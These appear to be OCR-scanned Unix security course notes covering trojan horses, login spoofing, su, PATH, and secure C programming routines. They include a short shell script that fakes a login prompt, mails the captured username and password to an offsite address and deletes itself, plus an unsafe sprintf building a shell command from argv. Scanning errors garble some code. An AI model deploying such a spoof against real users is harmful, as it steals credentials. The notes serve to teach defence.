Working with the Unix OS

Unix Security
- Implications for cp, mv, ln, cpio
- su and newgrp
- File Encryption & Compression
- Profile & PATH
- a trojan horse compromises users security
- a spoof imitates something e.g login
# once only "login" program
echo "Login: \c"; read USER
stty -echo
echo "Password: \c"; read PASS
stty echo; echo ""
echo $USER $PASS I mail user@offsite > &
sleep 1
echo Sorry
rm login
- never run other user programs when root
- don't leave your terminal unattended
- intelligent terminals have memory
Security for Programmers
System routines:
! I/O - creat, fstat, open, read, write
Once a process opens a file, changing the permissions of the file or directory the file is in will not affect file.
! Process Control - exec, fork, signal
real and effective UIDs and GIDs are inherited by child, file mode creation mask (unmask) is inherited by child, all
open files are inherited by child
! File Attributes - access, chown, stat, umask
! UID and GID - getuid, getgid, geteuid, getegid, setuid, setgid
! Standard I/O - fopen, fread, getc, fgetc, gets, fgets, scanf, fscanf,
fwrite, putc, fputc, puts, fputs, printf, fprintf, getpass,
popen
! /etc/passwd Processing - getpwuid, getpwnam, getpwent, setpwent, endpwent
! /etc/group Processing - getgruid, getgrnam, getgrent, setgrent, endgrent
! Who's Running a Program - getuid, getlogin, cuserid
pwentry = getpwuid(getuid());
printf("Hello, %s\n", pwentry->pw_name);
Writing Secure C Programs
! Secure Files
/* make files read/write only to you */
umask(O77);
/* call chmod() when you want file readable by others */
/* create an "invisible" temporary file */
creat("/tmp/xxx", 0);
file = open ("/tmp/xxx", O_RDRW);
unlink ("/tmp/xxx") ;
/* but storage associated with it will not be removed until the last file descriptor
referring to file is closed */
! Executing commands
/* want to edit first argument from within program */
sprintf(cmdstr, "ed %s", argv[l]);
206